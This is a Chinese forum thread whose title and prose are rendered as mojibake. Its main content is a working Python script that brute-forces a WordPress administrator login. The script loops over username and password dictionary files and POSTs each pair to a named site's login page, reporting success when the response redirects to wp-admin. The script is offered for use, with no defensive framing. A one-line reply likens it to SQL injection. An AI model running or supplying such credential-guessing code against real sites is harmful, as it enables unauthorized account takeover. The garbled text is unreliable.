找回密码
 立即注册
查看: 87|回复: 1

鍒╃敤python鐮磋В涓涓 WordPress 绠$悊鍛樿处鎴风殑瀵嗙爜

[复制链接]

700

主题

0

回帖

700

积分

00话痨hs000

积分
700
发表于 2023-8-26 21:08:30 | 显示全部楼层 |阅读模式
[xmd]瀹冧娇鐢ㄤ簡涓涓惊鐜紝灏嗗瓧鍏镐腑鐨勬瘡涓敤鎴峰悕鍜屽瘑鐮佺粍鍚堜綔涓篜OST璇锋眰鍙傛暟鍙戦佸埌鎸囧畾鐨勭櫥褰曢〉闈傚鏋滈〉闈㈣烦杞埌浜唚p-admin鍚庡彴椤甸潰锛岄偅涔堣鏄庤缁勫悎鏄湁鏁堢殑锛屽嵆璇ョ敤鎴峰悕鍜屽瘑鐮佹槸姝g‘鐨勶紝浠g爜濡備笅锛

import urllib3
import urllib.parse

http = urllib3.PoolManager(headers={'Content-Type': 'application/x-www-form-urlencoded'})

url = "http://www.ikunct1.top/admin/login.php"

users = []      # 鍒濆鍖栧瓨鍌ㄧ敤鎴峰悕鐨勫垪琛
passwords = []  # 鍒濆鍖栧瓨鍌ㄥ瘑鐮佺殑鍒楄〃

# 浠庢枃浠朵腑璇诲彇鎵鏈夌敤鎴峰悕鍜屽瘑鐮
with open('鐢ㄦ埛瀛楀吀', 'r') as userlist:
    users = userlist.readlines()
with open('瀵嗙爜瀛楀吀', 'r') as passwordlist:
    passwords = passwordlist.readlines()

# 寰幆澶勭悊鐢ㄦ埛鍚嶅拰瀵嗙爜缁勫悎
for user in users:
    user = user.strip()
    for password in passwords:
        password = password.strip()

        values = {'log': user, 'pwd': password}

        # 杈撳嚭姝e湪灏濊瘯鐨勭敤鎴峰悕鍜屽瘑鐮佺粍鍚
        print(f"Trying user={user}, password={password}")

        encoded_values = urllib.parse.urlencode(values).encode('utf-8')
        response = http.request('POST', url, body=encoded_values)

        try:
            idx = response.geturl().index('wp-admin')
        except ValueError:
            idx = -1

        # 杈撳嚭鏄惁鎵惧埌姝g‘鐨勭敤鎴峰悕鍜屽瘑鐮
        if (idx >= 0):
            print(f"Found username: {user}, password: {password}")
            break
        else:
            print(f"Failed username: {user}, password: {password}")

    if (idx >= 0):
        break
回复

使用道具 举报

0

主题

928

回帖

0

积分

新手上路

积分
0
发表于 2023-8-26 21:14:09 | 显示全部楼层
鍜孲QL娉ㄥ叆鐨勫師鐞嗗樊涓嶅锛屼絾涓嶅畬鍏ㄤ竴鏍
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|翻墙党

GMT+8, 2026-10-2 17:34 , Processed in 0.133358 second(s), 22 queries .

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表